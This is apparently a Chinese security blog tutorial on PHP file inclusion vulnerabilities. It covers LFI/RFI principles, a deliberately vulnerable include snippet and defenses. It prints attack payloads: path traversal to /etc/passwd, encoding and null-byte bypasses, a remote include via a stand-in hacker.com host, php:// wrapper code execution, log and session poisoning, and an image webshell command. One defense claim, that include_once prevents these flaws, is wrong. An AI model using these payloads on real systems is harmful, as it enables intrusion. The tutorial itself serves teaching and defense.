原理
文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,主要出现在 Web 应用程序中,尤其是使用 PHP 等语言的后端时。它允许攻击者通过操控应用程序的输入,包含并执行任意文件。以下是文件包含漏洞的基本原理:
- 文件包含的机制:
- Web 应用程序使用
include
、require
等函数来动态加载文件内容。攻击者可以通过操控输入参数,影响、改变这些函数的行为。
- Web 应用程序使用
- 用户输入:
- 如果应用程序允许用户输入文件名,并直接将该输入传递给包含函数,攻击者可以输入恶意路径,试图加载不应被访问的文件。
- 路径解析:
- 攻击者可以利用相对路径(如
../
)来访问服务器上的敏感文件,甚至执行系统命令。
- 攻击者可以利用相对路径(如
分类
- 本地文件包含(Local File Inclusion, LFI):
- 攻击者利用该漏洞包含服务器上的本地文件。例如,输入
../../etc/passwd
可能会加载Linux系统的密码文件。
- 攻击者利用该漏洞包含服务器上的本地文件。例如,输入
- 远程文件包含(Remote File Inclusion, RFI):
- 攻击者可以包含远程服务器上的文件。这通常发生在
allow_url_include
设置为启用的情况下。例如,攻击者可以输入一个恶意 URL,使得服务器加载并执行该 URL 中的代码。
- 攻击者可以包含远程服务器上的文件。这通常发生在
示例
以下是一段简单的PHP代码示例:
<?php
$filename = $_GET['filename'];
include '/your/site/path/'.$filename
?>
这里的 filename
即是用户的可控参数,当这个参数可被用户输入任意内容时,便产生了文件包含漏洞。
正常情况下用户输入的url地址应该是:www.example.com/include.php?page=about.php
,这时访问的应该是该网站上的“关于”页面。
而如果用户输入的是 www.example.com/include.php?page=../../../../etc/passwd
时,则可能可以访问到这台服务器上的密码文件。
其他可能产生包含漏洞的函数包括:
- include()
- require()
- include_once()
- require_once()
- fopen()
- file_get_contents()
- readfile()
- highlight_file()
- file()
规则绕过
当然,很多web应用程序都配置了部分的防御措施来避免这种漏洞,同样的,攻击者们也能有一些办法绕过防御措施。
1、路径跳出
使用 ../
或 ..\\
跳出当前目录,回到根目录,再进入任何你想进入的目录。
2、URL编码绕过
- URL编码绕过:使用URL编码来绕过限制,
../
的URL编码为%2e%2e%2f
。 - 二次编码绕过:对编码的%再次编码,即
%252E%252E%252F
。
3、后缀截断
- 使用
%00
(空字符)截断文件名后缀,例如file.php%00.txt
,使 其只包含file.php
。(仅适用PHP 5.3以下版本) - 远程包含时,可以使用
?
来将原后缀变为参数,如/file=http://hacker.com/payload.php?
。
漏洞利用
利用条件:php.ini
配置文件中的allow_url_fopen
(本地文件包含)和allow_url_include
(远程文件包含)都为On
。
注意:使用url的get请求发送本地文件包含的payload传递参数时,因为第一个参数已经是文件名,后续参数应用 &
符号拼接,而不能再用 ?
添加参数。
一、伪协议
1、获取php源代码(php://filter
)
payload:php://filter/read/convert.base64-encode/resource=
当使用文件包含php文件时,只会输出php代码的运行结果,如果想要查看源代码,则可以使用伪协议 php://filter
来实现,这里会使用Base64编码来读取PHP文件内容,对输出结果进行Base64解码即可读取到源代码。
2、执行恶意代码(php://input
)
php://input
:实际上这是远程包含的利用,其会读取POST提交的内容并执行,只要在POST正文中写入简单的一句话木马即可植入木马data://text/plan
:作用与input类似,区别是data使用GET请求,并将使用Base64编码的payload。在URL中直接填入payload即可:data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==
3、读取压缩包文件
phar://
:phar支持多级压缩内路径,格式为:压缩包路径/包内文件路径
zip://
:zip读取压缩包内文件时仅支持单层目录结构,不支持多层目录。格式为:压缩包路径#压缩包内文件
这里通常配合上传文件漏洞使用,需要注意的是在url中的 #
需要改成 %23
才能正确生效。
二、包含WEB日志
1、由于中间件的日志会把用户访问的URL完全记录到日志中,通过在网站URL中构建恶意php代码,再用文件包含执行这段代码,即可实现漏洞利用。
2、url中写入php代码时,由于url中不能有空格,所以可以用双引号将php代码包裹后,即可在代码中使用空格。(payload中的?>没了,把?>前的空格去掉即可重新出现。)
3、在浏览器输入url时,特殊字符会被转码,所以可以使用burp来构建请求。
4、apache2中默认访问日志路径:/var/log/httpd/access_log
或 /var/log/apache2/access_log
,但默认日志文件夹的权限为700,因此默认情况下中间件创建的用户无法读取此文件。
5、linux的权限:当父级文件夹的权限无法读取时,则子目录下的文件即使有权限也无法读取。
三、包含SSH、MYSQL日志
当你使用ssh或mysql远程登陆服务器时,你使用的用户名会被记录到日志中,所以可以在用户名处构建php恶意代码
而msyql除了登陆日志还有查询日志也可以插入php代码。
ssh日志路径:/var/log/secure(红帽系)或者/var/log/auth.log(DEB系),默认权限600或640。
mysql日志:通常为管理员自定义
这两种日志同样存在读取权限的问题。
四、包含图片
通过cmd命令制作图片马:copy img.jpg/b + shell.php shell.jpg
,shell.php为你的一句话木马。将图片上传后再用包含漏洞包含即可,传参使用&。
五、包含SEESION
某些网站的seesion文件中包含了用户名的账号,利用这点构建一个用户名为恶意代码的用户,再包含seesion文件即可实现植入木马。
思考
文件包含漏洞通常需要依赖其他漏洞进行综合利用,例如文件上传漏洞和权限配置不当。单纯依靠文件包含漏洞,较难实现上传木马或执行恶意代码。攻击者往往需要通过文件上传漏洞将恶意文件上传到服务器,或者利用权限配置不当的情况,获取对敏感文件的访问权限。此外,攻击者还可能利用其他漏洞(如 SQL 注入或跨站脚本攻击)来获取更高的权限,从而实现更复杂的攻击。
防御手段
1. 输入验证
- 白名单机制:确保只允许特定的文件类型或文件名被包含。使用正则表达式或其他验证方法来检查输入是否合法。
- 过滤特殊字符:避免用户输入中包含路径遍历字符(如
../
),以防止访问不应访问的文件。 - 让用户进行选择而不是输入:尽量在代码层面固定好需要包含的文件,让用户进行选择,而不是随意的输入任何字符。
2. 限制文件包含路径
- 使用绝对路径:在代码中使用绝对路径而不是相对路径,避免用户输入的路径影响文件包含。
- 设置包含目录:限制可包含的文件目录,例如通过配置 PHP 的
open_basedir
指令。
3. 权限管理
- 最小权限原则:确保应用程序运行在最小权限下,限制对文件系统的访问权限。
- 文件权限设置:确保敏感文件的权限设置正确,防止未授权访问。
4. 使用安全函数
- 替代函数:使用安全的文件处理函数,例如在 PHP 中使用
include_once
或require_once
,以避免重复包含和潜在的漏洞。 - 避免动态文件包含:尽量避免使用动态生成的文件名来进行包含操作,降低风险。
5. Web 应用防火墙(WAF)
- 部署 WAF:使用 Web 应用防火墙来检测和拦截恶意请求,提供额外的保护层。
未经授权的访问:任何对计算机系统、网络或数据的未经授权访问均违反《中华人民共和国刑法》第286条和《计算机信息网络国际联网安全保护管理办法》。
信息盗窃:任何形式的信息盗窃或破坏行为均可能受到法律追究,违反《中华人民共和国反不正当竞争法》和《中华人民共和国网络安全法》。
传播恶意软件:传播病毒、木马等恶意软件的行为属违法行为,可能导致民事和刑事责任。
用户在使用本网站提供的信息时,须遵循相关法律法规,确保自己的行为合法。我们不对因使用本网站信息而导致的任何直接或间接损失承担责任。
如您对本网站内容有任何疑问或建议,请及时与我联系。
感谢您的理解与支持!